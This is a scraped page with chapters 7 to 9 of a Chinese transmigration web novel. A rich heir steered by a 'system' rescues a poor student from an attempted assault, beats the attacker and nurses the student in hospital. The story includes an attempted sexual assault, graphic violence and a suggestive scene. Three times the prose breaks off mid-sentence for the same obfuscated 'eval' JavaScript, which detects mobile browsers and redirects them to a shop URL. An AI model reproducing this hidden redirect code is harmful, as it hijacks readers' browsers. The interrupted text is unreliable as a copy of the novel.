《炮灰爆改be文[快穿]》 7.出事 临城坐落在沿海地区,是国内最先发展起来的几座城市之一,数年下来到现在已经是霓虹闪耀,灯火辉煌的超一线城市了。 骆温出身小镇,即使成绩优异,天资聪颖,可在这座繁华又冷漠的城市里活着并不容易,更别说他还有个生病的母亲需要治疗,如果不是走投无路,他是绝不会答应那份荒唐的协议。 骆温没有从陆明昼那里获取更多的金钱,如今依旧一口空闲就会想办法勤工俭学。 清轩小楼是他们这群阔少喜欢去的餐厅,一三五漂亮的帅哥美女们穿着古装衣袂翩翩的跳舞,三四六则有兼职的音乐学院的学生拿着各式乐器吹拉弹唱,主打一个中西结合,视觉盛宴。 周日嘛,自由主题,蹦迪开趴什么的都可以,这群二代们想哪出就整哪出,就在二楼大厅折腾。 这里的员工大多是老板花了重金请来的小年轻,大多是艺术学院的大学生,各个条顺盘靓。在这往来的大多是有钱有闲的富家子弟,有想猎艳的,自然也有想攀高枝的,不过这家餐厅的老板来头不小,主打一个你情我愿,如果店员不愿意,也不会勉强。 再加上餐厅给的工资很高,足够骆温支付学费还有富余,否则骆温早就辞职了。 他笔直地站在过道那,西装外套包裹着绝佳的身材,配套领带工整地贴合着衬衫,脸部线条流畅,没有眼镜的遮挡,眼下的泪痣可变得清晰可见,五官越发显得清冷,透出一股难以接近的距离感。 今天的餐厅主题走的是西式风,骆温他们这群男店员都穿着一件挺阔板正的白色衬衫,外罩一件西装小马甲。马甲是修身的,微微向里收起,掐住了他的细腰。配合着贴身的黑色西裤,清晰地勾勒出了他修长的身形和劲瘦的腰身。 他脸上没有什么表情,目光下敛,长长的睫毛垂落,略显狭长的丹凤眼微微上挑,依旧是外人面前那种生冷不好靠近的感觉。 实际上骆温也靠着这张冷脸逼退了许多想要搭讪的人,多数人大多讲究的是你情我愿,逢场作戏,骆温这种类型的,一看就不好上手。 “骆温,你帮我把这酒送到二楼上去,后厨催得紧,我实在是走不开。”跟骆温同样打扮的青年面容清秀可爱,双手抱拳向他哀求着。 骆温和他关系不错,两人平日里有事都会互相帮忙,顶个班什么的也是常事。换做平日里也就答应了,可想到陆明昼刚才打来的电话,这会儿便有些迟疑。 “我手里还有事。”骆温最后还是拒绝了。 青年盯着骆温看了眼,然后移开了视线:“那好吧。” 骆温眉头微蹙,没再搭理他。 此时二楼已是热闹非凡,一群阔少们各自带着伴侣,插科打诨。 柯天宇也是其中之一,见二楼有人上来,他搂着身边的小明星,眯了眯眼睛,眼底透着几缕兴奋和期待,结果见是个面容清秀的小青年,不由转为了失望。 他正是刚才和骆温说话的青年,端着托盘朝着柯天宇走了过去,面露难色:“天宇哥,他不肯上来。” 柯天宇一把推开身边的男伴,神情狠戾,声音中满是怀疑与不满:“你怎么这点儿小事都办不好,骗不会,难道还不能找人一起拉上来吗?” 青年苦笑道:“这……这不大好吧。” 他和骆温一起在这工作也有段时间了,从来没遇上过这样的麻烦,青年为难之余,还真的是对骆温心生怜悯:被这种人盯上真是倒了血霉! 柯天宇站起身,理了理衣服的褶皱,冷笑着推开身前的青年,施施然往楼下走。 他一眼便瞧见了站在人群中气质疏离的俊俏青年。 其实比骆温俊的也不是没有,或许是没碰过这类心高气傲的类型,又或许是陆明昼那家伙护得可紧,柯天宇看着这人总觉得心痒难忍。 想起陆明昼前些日子给自己发的短信,柯天宇到现在想起来还是恨的牙根痒痒。 行,这下把你眼珠子整了你又能怎么样?柯天宇轻慢地想道,始终不认为陆明昼会为了这么一个穷学生和自己翻脸。 他柯家和骆家是世交,更是生意伙伴,他陆明昼再气还能弄死自己不成? 柯天宇他有恃无恐。 骆温给客人补上茶水,刚提着茶壶往后厨走,就被人挡住了去路。 他提着茶壶,抬眸看了对方一眼,暗暗皱眉,侧身避了开来。 “躲什么呢?”柯天宇再度挡在他的面前,斜靠在墙壁,像个恶霸似的对着骆温笑,伸手去碰他的脸。 其实陆明昼也对骆温用过这招,骆温沉默多过厌恶,可当同样的招数放在柯天宇的身上,他才觉得恶少原来也是分等级的,陆明昼至少看起来赏心悦目,没叫人那么恶心。 骆温冷着脸,侧着脸躲过了。 去往后厨的地方要过一条走道,为了美观,被设计师掩在了餐厅的后面,因此除了服务员之外,几乎没什么人经过。 看见两人的动静,脚步不禁放慢,频频回过头来,看见经常在这露面,呼风唤雨似的柯天宇,并不敢多看,匆匆便走了。 这里的员工被搭讪,甚至被带走都是寻常的事,他们并不觉得奇怪,但还是有人暗中留意,害怕出事后就悄悄去找了老板。 柯天宇没想到骆温会这么不给脸,照他想的,一个穷学生,不是有钱招招手的存在?他陆大少爷可以,凭什么自己不行? 他面色一黑,心头颇为恼怒:“你别给脸不要脸,陆明昼给你什么?我也能给。” 柯天宇冒犯的目光在他身上游移着,犹如在打量砧板上的鱼肉:“跟了我,双倍够不够?要钱还是要车子?” 骆温浑身上下都透露着厌恶和憎恨,面无表情地拒绝:“抱歉,我并不认识你。” “嘿,我今天还真就不信了。”骆温站在那不动,柯天宇自觉这么多人看着,再丢脸也没今天丢脸了,所幸心一狠,抬眼瞅见不知何时跟了过来,刚才那个被自己指着鼻子骂了一通的青年:“你过来,今天抬也把这人给我抬到楼上去。” 那青年手足无措,望着骆温不知道做什么好。直至柯天宇出言威胁,他才犹豫着上前:“骆哥,你别怪我,我也是没办法的。” 骆温没想到他这么大胆,在公共场合敢抢人,凤眸中闪过一丝错愕,转身就要跑,可衣服却被人紧紧拽住。 青年去捂他的嘴,脸上写满了愧疚,不住地道歉:“骆哥,我是真没办法,我家没人供我读书,就靠柯少爷给我介绍的这份工作。” 骆温眸中充斥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149706|138383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着怒意,眼看着柯天宇向自己走近,那轻蔑嘲讽的眼神仿佛在看着一只在蛛网上拼命挣扎却走投无路的蚂蚁一般。 被钳制住的骆温挣扎着,用尽了全身力气,死死抓住了周围能抓住的所有东西,手背上青筋凸起。 黑暗中,摸到了什么东西——是刚才被他落在一旁的茶壶。骆温想也不想的拽住,往前狠狠一掷。 一声痛呼在昏暗的廊道中响起,青年吓得下意识放开了捂住骆温的手,只见柯天宇站在暗淡昏黄的灯光下,捂着渗血的额头,面无表情地朝他们看来。 他那张还算端正的脸一半在光线下,一半隐没在黑暗当中,嫣红稠密的鲜血从他的额头汩汩渗了下来,充斥戾气的眼珠子透过血色恶狠狠地瞪视着骆温,脸部轮廓也蒙上了一层血红的阴霾,一瞬间恍惚让青年觉得看到了恶鬼。 柯天宇舔了舔滑过唇际的鲜血,双目已经充血而变得异常赤红,跨步上前,手扼住骆温的喉咙,另一只手扯下骆温脖间的领带揉作一团塞进他的嘴里,并示意身边的青年控制住对方。 这条廊道不长,作为熟客的柯天宇知道后面有个放置东西的杂物间。 自己本来没想把事情闹大的,可眼前这人太不识趣了。 柯天宇扬狠狠扇了他一巴掌,啐出喉咙间的血腥气,张狂地笑着:“给脸不要,就别怪我了。” 青年忐忑不安,偷偷觑了柯天宇一眼,眼见他目露着疯狂,心头狂跳不止。 鲜红的巴掌印浮现在骆温白皙的面上,他整个人被两人联手制住,拖着往后面去。 骆温来这不短的时间,也知道那里是什么地方,他仍旧不忘挣扎,可他到底比不过两个人力气,即使拼命抵抗,也还是被两个人往杂物间拖去。 骆温抬起黑漆漆的眼,眼瞳宛如化不开的浓墨,直勾勾地盯视着前方。 一丝幽蓝色的暗芒在他的眸色中一掠而过,他低下头,似乎是放弃了挣扎一般,幽幽的眼眸望着自己伤痕累累,鲜血淋漓的指尖出神。 柯天宇瞥他一眼,见他不再挣扎,好似认命一般,眼底不由得带出几分嘲弄之色。 没人注意到,一阵阴凉的风正擦着廊道进来,轻轻卷起了地上的尘土。 柯天宇的背后有一道巨大的阴影浮现,一对赤红的硕大双眸正目不转睛盯着他和青年,充斥着满满的恶意与垂涎之色。 柯天宇只感觉脖颈间像是被人吹了口气,凉凉的冒着些软意,他皱着眉头往身后看了眼,见没有发生任何事情,轻啧一声,拖住骆温,抬手正要打开杂物间。 他已经有些迫不及待地想看到面前这清高漂亮的青年,痛哭流涕的向他跪地求饶的表情了。 “怎么回事?”柯天宇用力推门,木门却纹丝不动,他以为是什么东西卡住了,低头看去,眼中尽是不耐。 一条笔直的大长腿赫然出现在跟前,柯天宇再抬头,一张俊美无俦的脸同时映入眼帘。 是陆明昼。 认清来人,他的面上顿时显露愕然,然后便是全然的尴尬。 同一时刻,那双硕大鲜红的血瞳在这张脸的主人出现的瞬间,轻轻眨了眨,消失在柯天宇的背后。 就犹如从没有出现过一般,并任何人发现异常。 8.骗子 陆明昼薄唇微抿,下颌线紧绷,深沉似渊的眸底酝酿着惊涛骇浪般的怒意,周身的气场阴沉骇人。 没有人知道他在找遍二楼却没有找到骆温和柯天宇的时候有多么心慌。 不是因为系统所提示飙升的仇恨值,是怕看见一个本该平安喜乐,走向阳光大道的人再度被那所谓的剧情拉入深渊当中。 他想尽可能的帮骆温,想看蒙尘的天之骄子再度熠熠生辉,散发出属于自己的光芒。 但在这之前,必须先解决掉诸如柯天宇这种不知死活的家伙。 “……没必要和兄弟生气吧?”柯天宇被他当场抓包,神色错愕之间又有些尴尬,但他到底是心态良好,指着低垂着脑袋,看不清面容的骆温:“我可有人作证的,是这服务员贪财,主动献身来着。” 陆明昼斜睨着他,似笑非笑,那笑意不及眼底,凭空看得人瘆得慌。 “真的?”他状似求证地问身侧的服务员,而青年自陆明昼出现就已是心生不安,眼神乱飘,生怕自己成了两个富少的出气筒。 他咬咬后槽牙,索性承认:“没错,我看见他主动向柯少爷搭讪来着。” 柯天宇面上掠过一丝得意,笑着要去搂陆明昼的肩膀:“咱们兄弟谁和谁,一个小小的服务员,我还能为他骗你不成。” “兄弟?”陆明昼咀嚼着这个字,黑曜石般的眸子泛着骇人心神的幽冷寒意,而后缓缓地笑了起来。 他的笑似乎是释放了什么信号一般,柯天宇暗中松了一口气,嘴里不停地嘟囔着,拉扯着陆明昼就要前往楼上,说是一群朋友已经了他许久。 刚才拉住骆温的青年脸上也显露出轻松之色,就要跟在两人的身后。 在他们眼中,恍如一切都没有发生过一样。 骆温指间血迹斑斑,凌乱的发丝遮住了眸底的情绪,他整个人似乎没回神,失力般的跪坐在地上,在昏暗的灯光下狼狈又孤独。 随后他指尖颤抖,缓缓捂住自己的眼睛,指缝间透出的黑眸沉沉,酝酿着满满的嘲讽之意。 ……骗子。 陆明昼和那个薄情寡义抛下他和妈妈的男人一样,都是骗子。 骆温嘴唇微微颤了一下,苍白的唇瓣勾出了一个自嘲凉薄的弧度。 “我说,你这算是犯罪吧?”陆明昼微微侧身,任他的手在自己的箭头滑落,旋即偏着头看着他,唇角上扬,明明是带着笑意的,可桃花眼里逐渐渗出的凉意,叫人脊椎发冷。 “开什么玩笑。”柯天宇错愕地看着他,不明所以。 陆明昼没有再理会他,垂眸注视着骆温,嗓子莫名干涩。 他蹲在骆温的面前,从他面颊和唇角的淤青,再到血迹斑斑的十指,伸出手去,指尖止不住的颤动,想触碰又怕伤了对方,犹豫着不敢下手。 最后只脱下外套,将对方裹进怀中,开口时满是懊恼,不住地重复:“是我来晚了,是我来晚了……” 骆温清棱棱的目光定定凝望着他,眸中有一点迷惑,又有一点惶然。 最后他垂着眼眸,那双惨不忍睹的十指慢慢收紧,悄悄地攥住了陆明昼抱着他从而低垂的衣角。 熟悉又微苦的香气从对方身上溢出,一瞬间困倦和后怕上涌,骆温终于支撑不住似的,肩膀一松,直直坠入了背后的怀抱。 陷入黑暗之中,木质香气将他紧紧包裹。 果真如想象中的温暖。 *** 骆温猝不及防地倒在了陆明昼的怀里,最先惊恐万分的是系统。 “宿主!反派他他他他……” 陆明昼也有些慌,下意识地接话:“他没事吧?系统,你可是高科技系统,能不能帮他检查一下?” 系统这才想起来自己还是能做些力所能及的事情,扫描了下骆温的身体,松了口气:“身体内部的脏器都没有损伤,都是些体表的外伤,不过最好还是送去医院再检查一下,把伤口清洗清洗。” 陆明昼终于稍加安心,他拨了个救治电话,又小心翼翼地把骆温安置在墙角,这才站起身,眸色深沉地朝柯天宇两人看去。 “你要走公的还走私的?”他唇角明明噙着笑,但那双上翘的眼里却布满彻骨的寒意,似乎能将一切都冰冻。 柯天宇站在原地,被他冷飕飕的瞧着,脖子只觉一股凉意升起,不可置信地瞅着他:“没必要吧你,为了个小情人跟我翻脸?” “我不是还被他打了吗?”他抬起袖子抹了下自己脸上的血渍,指着伤口,振振有词:“你瞧瞧这伤!陆明昼,你要跟我玩这套的话,你那小情人和我进了局子里也算互殴。他一个男的,没被我怎么着,说实话还真拿我没辙。” “……”陆明昼唇角的笑意赫然隐没,他那双黑沉沉的眼睛,逐渐显露出令人胆寒的凶暴。 柯天宇见他面沉如水,与往日自己所见的纨绔浪荡截然不同,几乎像是换了个人一般,不知怎的,突然止住了自己后面没说话的挑衅,话锋一转:“不过我看这点儿小事,闹进局子里也挺没意思的,让别人笑话我俩,我看就走私吧,我明天叫人拿些好东西送到你小情人那里去。” “人渣!”作为新手的系统还没见识过人心险恶,在陆明昼的身旁瞪大了眼睛,指着柯天宇,愤愤不平。 陆明昼面无表情,再也听不下去,显然他与柯天宇这种渣滓的思维已经不在一条线上。 既然如此,那就没有什么好说的。 他长腿一扬,提脚将还在喋喋不休的柯天宇踹进了杂物间,随后反手拧紧门锁。 被落在门外的青年立刻愣住了。 他跟过柯天宇一段时间,对于这群阔少再了解不过,他们向来是游戏人间,玩弄情感,哪里会将自己这类人放在眼里。 陆二少更是混不吝的那个。 现在他能为了骆温去和柯天宇这人杠上? 青年觉得这简直天方夜谭,片刻后他听到动静,忍不住睁大了眼睛,眼中写满了震惊与困惑。 门后传来了柯天宇那似布匹撕裂般的哀嚎和求救声。 他站在原地表情恍惚,真的……揍了? 随着哀嚎声渐大,他愈发心惊胆战:这不会出人命吧? 好在一分多钟后,门开了,青年连忙朝着门后看去,立刻倒吸了一口凉气——只见柯天宇被揍得鼻青脸肿,已是认不清人样了。 他看见陆二少走里面慢悠悠走了出来,脸上溅了点儿血,冷笑着说:“这就是我私了的方式,你柯少爷还满意吧?” “宿主!你就是正义滴神,这是在为民除害!”系统亲眼目睹了一场惨无人道的暴打,开心得飞起,不停对着陆明昼狂吹彩虹屁。不过对于他的行为,站在统一战线的它还有些为他担心:“这次你打这家伙打的这么狠,不会有什么麻烦吧?” 陆明昼低头看着自己沾了些不知是对方眼泪还是汗渍的拳手,眉眼间平静又淡漠,清晰流畅的侧脸在灯光下显得格外冷峻:“大不了被老爷子臭骂一顿喽,放心吧,他哥不会让他报警的,何况这事说起来也是他理亏。” 他向着青年走了过来,对方瞧着他浑身煞气的样子,心头一跳,不由得倒退几步。 陆明昼只是目光淡淡的瞥了他一眼,并没有再做什么。说到底始作俑者是柯天宇,这人是受人指使。 而且柯天宇这家伙在人前最要面子,今天鼻青脸肿的被这青年撞见,他也讨不了什么好。 手机响起,陆明昼接过说了几声,便不再理会这两人。脱了身上那件薄夹克披在骆温身上,弯下腰,双手环过他的双腿,站起身来,如同对待易碎品一搬轻手轻脚地将人从墙角揽在了怀中。 青年没想到他会这么轻易绕过自己,毕竟陆明昼暴躁的臭脾气是远近闻名的,逃过一劫的他立即松了口气,露出了庆幸的表情。 可看着身形颀长而挺拔的男人,将骆温紧紧的护在怀中,那关心在意的样子不似做戏,他内心中忍不住升起了几分欣羡和怀疑。 这种富家少爷,会和骆温这种无权无势,仅剩美貌的人来真的吗? 他想得入神,完全忘记了杂物间里还躺着个被揍成猪头的阔少爷。 等接到消息,须臾之间就赶过来的老板瞅着杂物间里的猪头半天,愣是没能将人和平日里嚣张跋扈的柯天宇对上身份。 从呆愣的服务生口中大致得知了前后因果,老板已经陷入了漫长的沉默当中。 这群祖宗又是在闹哪出?眼瞅着事情不小,老板只能认命打了柯家和急救的电话,叫他们来把人接走。 一行人风风火火的离开,无人发现,柯天宇的身后,一双血眸若隐若现始终在注视着他。 陆明昼到底还是没能去成那场接风宴,把骆温送到了医院,他给清轩小楼的老板打了个电话,叫他调出了一份监控。 好在骆温受得都是些挫伤,唯一比较严重的,便是他挣扎时血肉模糊的十指,处理起来很是麻烦。 他人还没有清醒过来,就连医生处理伤口时也没有任何反应,即使医生说可能是睡着了,但陆明昼想了想,到底是没放心离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165128|138383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他坐在医院陪床的椅子上,怔怔地望着骆温上药后包裹白纱的手掌,心头说不清是怎么个滋味。 他想,都说十指连心,骆温挣扎时得多用力,内心得多么不甘才能将那双陆明昼印象里修长又白净的手弄成那样的血肉模糊。 陆明昼刚才进医院的时候,骆温还没被他稍作打理过,身上满是挣扎反抗时弄出来的伤痕。 陆明昼长得俊美,可举手投足都是一股浪荡少爷的范儿,看着不是什么好货色。 刚才给骆温上药的小护士瞧见骆温凄惨的样子,还以为陆明昼是什么特殊爱好者,不住地用鄙夷的目光瞅着陆明昼。 这事情吧解释也没法解释,陆明昼就只好凭借着自己的厚脸皮当做什么事情也没发生过一样。 原剧情里是原身在接风宴上,当着一众朋友的面把清高不肯服从的骆温凌虐了个遍,身上没一块好肉,现在陆明昼虽是竭力避免走那段破结局,骆温却还是走了一部分剧情,进了医院。 陆明昼揉着眉心,觉得不止刚才揍柯天宇的手痛,脑袋也痛。 似乎是看出陆明昼的头大,系统安慰着他:“不管怎么说,我们还是避免了接风宴上的大部分剧情嘛,任务完成度还是可以看得见的。” 系统亮出骆温的仇恨值:“你看,虽然刚才在那里仇恨值低低高高,但最后反派的仇恨值并没有升高,反而还降低了。” 【反派当前仇恨值:57】 陆明昼瞅了眼,总算是有了几分欣慰,他看着静静躺在床上的骆温,想了想,取出刚才医院开的药水,轻手轻脚地解开骆温的衣衫,准备替他上药。 刚见面的时候骆温很是瘦削,身上好似只覆了一层薄薄的皮肉,这周来倒是涨了些肉,抱起来的时候不那么硌得慌,估计经过这一遭,又要掉肉了。 陆明昼的视线一点一点的扫过他身上斑斑点点的淤青,唇角几乎崩成了一条线。 他不忍心再多看,掌心倒了些药油,手掌覆在骆温的几处伤处,动作极轻地开始揉动。 …… 骆温能隐约察觉到自己大概是在梦里。 天空上是一轮鲜红欲滴的血月,夜色被数道裂缝切割成一片又一片,一双硕大无比的血瞳转动着僵硬的眼珠子,充满恶意地望着地面的人间。 那里造成炼狱,无数长相怪异又狰狞的妖魔鬼怪在街道上游弋,肆意收割的人类的灵魂。 而骆温好像代入了那只血瞳的视线,冷漠地注视着这个世界,心中充斥着无数恐怖而疯狂的恶念。 ……都该死,这世上所有的一切都不应该存在,尤其是那些披着人屁、看似光鲜亮丽的畜生。 他喉咙发出低低的笑声,头顶着赤红的月亮与血瞳,只身站立在高处,目光森冷而嗜血。 他的目光锁定人群中的某处,唇角微微一勾,那个令自己觉得如跗骨之的身影便在原地停住,随后转动身子,一颗血淋淋的头颅便轻飘飘地落在了地上。 骆温双手捂住面价,指缝后的神色更显疯狂,喉咙发出喑哑的低笑。 忽而,一股熟悉而温暖的气息不住像是一缕风一般,出现在身旁,又轻轻叫他拥抱。 骆温神情一滞,那双悬浮在天际,面露邪恶的血眸也为止一顿,眼中浮现出如同人类般的困惑,人性化地慢了半拍,缓缓地眨了下眼睛。 随后,面前所有的景象,就如同被人突然砸在地上的镜子,哗啦一声碎裂成了无数块细小的碎片。 “……”骆温捂住隐隐作痛的额头,蔓延的血色在他看到陆明昼的那一眼消弭得无影无踪,他有些记不清梦中发生了什么,只隐约觉得是非常可怕却又叫他有些痛快的场景。 他的目光逡巡过病房,而后停在了陆明昼略带几分疲倦的俊脸上,最后再往下。 对方的手正停留在他的腰腹间,手心还染着药油的颜色,而自己,正躺在对方的怀中。 他闭了闭眼睛,难怪那股气息如此熟悉。 明明是混杂着浓郁的药油的味道,有些冲人,骆温却莫名的觉得有些安心。 “……谢谢。”他迟疑着说出口,然后便有些哽住了,这句话自己好像已经说了好几次。 说起来……陆明昼似乎并没有亏欠自己什么,两人之间的关系比他想象得要好得许多,对方没有伤害过自己,说起来甚至还帮了他许多。 骆温脑中有些混乱,他不明白陆明昼所做的一切都是为了什么。这世上不会有莫名其妙的好……难道是这具皮囊,合了对方的心意吗? 9.巴掌 骆温目光幽幽地望向陆明昼,内心疑惑又有几分说不出来的奇特。 陆明昼哪里知道他的纠结,见人终于醒了,当即松了口气,眼中是说不出的喜意:“醒了?” 他说着话,手上的动作也没忘了,继续揉捏着骆温身上的淤伤。 骆温本想开口回应,可他力道实在不想,被揉弄之下原本跑到嘴边的话语也变成了猝不及防地呻.吟。 陆明昼微微一怔,马上放柔了动作,一本正经地说道:“不上药化开淤血,到时候你得好几天疼,还是忍忍吧。” 骆温便咬着唇点点头。 他的胸口当时被柯天宇踹了一脚,胸膛处有一个青色浅浅的脚印。 陆明昼刚才没仔细看,如今看到了便沉默下来,心头又蹿起一丝怒气,心想:打柯天宇他还是下手轻了。 柯天宇是不知道他的心思,否则一定要恨得吐出口血来。 秉持着每处伤都要照顾到位的想法,陆明昼一开始真没别的意思。 何况两人都坦诚相对过,袒露胸膛这点儿事情放在两个大男人身上又算什么。 可他到底是想浅了。 陆明昼不可避免的要碰到骆温的胸口,而且还要活血化瘀,动作之间不可避免就要触碰到对方比较敏感的地方。 陆明昼知道背靠花市的世界不一样,不过也没想到这如此个不同法。 明明是正常的揉药,但渐渐地事情好像就变了味道。 两颗红豆软绵绵地贴着他的指腹,亲切又缠绵。 陆明昼竭力保持着冷静的表情,实则开始魂飞天外。 他半是绝望地想:随便吧随便吧,总不能叫十指包成木乃伊的病人自己动手吧。 骆温也察觉到了异样,抿着着泛白的唇瓣,面颊微红。 系统看出情况有些古怪而暧昧,纯情的它闭着嘴巴,一动不动。 陆明昼推开软哒哒又缠上来的红豆,视线在医院的白墙聚焦,始终不敢去看怀中人的目光。 骆温整个人都绷了起来,在他怀中低垂的脖颈,被额前碎发挡住的眼,有一抹嫣红在眼尾慢慢晕染开来。 片刻之后,这场宛如慢刀子割肉般的活血化瘀工程终于停住。 两个人明明是互相拥抱着,却不约而同的避开了对方的眼神,不敢去看。 许久,骆温才湿润着眼睛回过神,睫毛抖动。 陆明昼手里仿佛还缠绕着那种特殊的触感,心里又是怪异又残留着几分遗憾。 他面色淡淡,故作镇静,扶着骆温的腰身,轻轻咳嗽:“那兼职就先别去了,养好伤先。” 说起正经的事,陆明昼本来还有些尴尬的神情也逐渐消失,他又说道:“你实在缺钱,就和我说。” 他低头望着骆温还未恢复,依旧微红的脸,怕他拒绝:“放心,就算是借你的,你之后手头宽裕了再还我。” 说实在的,他这个金主当得极不合格,人家小说里的包养对象动辄别墅豪车,可骆温呢,甚至还要去打工。 实在失职啊。 他欲言又止,止言又欲,那双桃花眼瞅着骆温,一动不动。 骆温的眼皮子动了动,终于抬起眸来,点了点头:“嗯。” 陆明昼唇角一掀,顿感欣慰,脸上便忍不住带出几分笑意来。 小护士进门瞧着这俩男人好好的一张床不待,都手长脚长一个非要挤在另一个人的怀里,不禁陷入了深思。 陆明昼在某些方面略显纯情,在外人面前有时有格外的厚颜无耻,见小护士悄悄往这边不住的看,也不脸红,神情坦然地搂着骆温。 心想,这下总不该觉得我是什么特殊嗜好者了吧?哪成想小护士一边给骆温更换药水,看向骆温的眼神满是同情和怜惜,换成陆明昼,则是充满了鄙夷和不屑。 陆明昼:“……”这真是到哪里说理去啊! 护士换完药退了出去,陆明昼怀里搂着个美人,心思却忍不住飘远去。 忽然,放在桌头的手机开始震动,陆明昼瞅了眼屏幕,眉头紧锁,眼中略过一丝烦躁。 骆温也看见了,双手搭在他的肩上,正想起身,却被陆明昼阻止了,他摸回手机,有点儿不想接,但屏幕上还持续着显示着来电。 陆明昼眉宇间尽是不耐,终究是接起了电话:“有什么事情?” 他心知还能是什么事情,当然是自己柯天宇的事情事发了。 果然,陆明昼只听见电话那头传来一阵剧烈的喘息声,然后是恼怒的叱骂。 陆明昼死猪不怕开水烫,被老爷子一通发火,脸蛋也没改变半分,唇角带着几缕讽刺的笑意。 直至对方那头冷声威胁,他沉着的脸色才微微一变。 “那孩子姓骆对吧?”陆父说了一句,又道:“你什么时候回家一趟?” 又来这一套?这老家伙无论在哪个世界都不会有任何改变。陆明昼许久后再次体会到这种被人威胁的感觉,眸中难掩厌恶,忍了忍,才冷冷道:“晚上回去。” 大约是对他的回答感觉到满意,对方立即挂断了电话。 他环绕住骆温腰间的手紧了紧,黑色的脑袋低垂,只差几厘米便能埋在他白皙的颈窝。 陆明昼闻过许多名贵香水,可到头来,竟还是骆温身上廉价却透着股干净气息的皂香最令他流连。 他忍不住贴近了几分,对方衣襟下被肌肤灼烫,混杂着体香的气息再度涌入鼻腔当中,叫陆明昼充斥着破坏与烦乱的情绪终于平静了许多。 距离愈发亲密,骆温张着手,抵在陆明昼的胸膛,似落未落,一瞬间不知该阻挡他好还是继续纵容。他犹豫着,可看见陆明昼深邃眉宇间的烦闷,到底还是收回了手,任由他更加靠近了几分。 他故作镇定的移开眼睛,那张清丽白皙的脸庞有些不自然,顿了顿,停了片刻,才侧着脸问道:“……电话是因为之前的事吗?” 他没有明说,可两个人都知道对方指的是什么事情。 ……又过界了,陆明昼从那股眷恋不舍的气息中抽出身来,很想捂住头疼欲裂的脑袋。 “宿主!把持住!”系统默默旁观着,虽不明白人类之间的感情,却也能感受到两人之间的暗流涌动。 他是坚定的任务者无感情派,前辈们都说爱情是任务的坟墓,他忧心忡忡地望着陆明昼:“你千万别忘了,你还要回去的。而且反派对于这场包养可谓是深恶痛绝,再继续下去是不会有好结果的。” 陆明昼心里也明白,可总不愿意往深了想,如今被系统直白点出,不由得在心里叹了口气,顿时冷静了许多。 对上骆温清透漆黑的眸底,里面似乎隐藏着一股关切之意。 是错觉吗?陆明昼心中苦笑,面上却依旧神情飞扬,那股子属于大少爷的桀骜风流又再度展露在他的眉眼:“没事,大不了被老头子骂一顿喽。” 他拍了拍怀中人的屁股,话语中带着几分调笑,瞅着骆温,以为他会因为自己轻浮而觉得不喜:“谁叫他动了我的宝贝儿呢。” 骆温猝不及防被他一拍,虽是身体一颤,心头漏了一拍,但却并没有陆明昼所想的满眼厌恶和抗拒。 他正等着骆温推开自己呢,没想到对方依旧稳稳落在他的怀中,侧眸望着自己,面颊微红却不掩忧色。 陆明昼怔愣中,不是,他为什么比自己还要坦荡啊? 陆明昼懵了一下,半天摸不着头脑。 旁观者清,系统将这两人之间暗流涌动的奸情看得透透的,默默无语。 “咳……我先走了。”他清了清了嗓,低头瞅着自己怀中的人。 骆温双手抵住他的胸膛,刚想脱身而出,就被他急声制止了。 “干嘛呢,你现在就等于是半个残废,好好听话,知道不?”陆二少骂骂咧咧的,手上却极小心地把人抱起,轻手轻脚的放到了床上。 骆温原先的侍者装早就残破不堪,也没法在人前露出,好在还有陆明昼的外套挡着。 陆明昼扫了眼他,看见他乖乖躺着场上,面颊苍白,神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176574|138383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情却是极为平淡的,还静静地望着自己。 他迟疑着,抬手碰了碰他微乱的黑发:“好好休息,我走了。” 见人点头,他才放心离开。 临走前不顾骆温的反对,还不忘给他请了个护工,这才迎着夜色放心出了医院。 这所医院坐落在工业园附近,到了夜晚更是人迹罕至,显异常冷清。 陆明昼出门时只穿了一件衬衫,刚才在医院里还不觉得,此时站在马路便觉得一股凉意袭来,肌肤上顿时起了鸡皮疙瘩。 他轻啧一声,这才想起自己刚才的外套还在骆温的身上。 没想着回头和病人抢衣服,陆明昼低头钻进自己的车子缓缓启动。 临城的深夜依旧热闹繁华,霓虹灯闪烁不定。 陆明昼没想着赶时间,便驾着车子不紧不慢的行驶在道路上。 期间手机连着响了好几次,陆明昼瞥了眼嗤笑几声便不再理会。 过了好一会儿,才抵达一座灯火通明的住宅前。 车子的发动机刚一停火,便有人迎了上来。 “二少爷,老爷等你许久了。”头发斑白的老管家微笑着说道,望着他的眼神犹如在看待一个刚长大不久的孩子,满含宠溺之色。 陆明昼:“……明叔,这都二十一世纪了,什么老爷少爷的,听着都肉麻。” 老管家笑眯眯的看着他不说话。 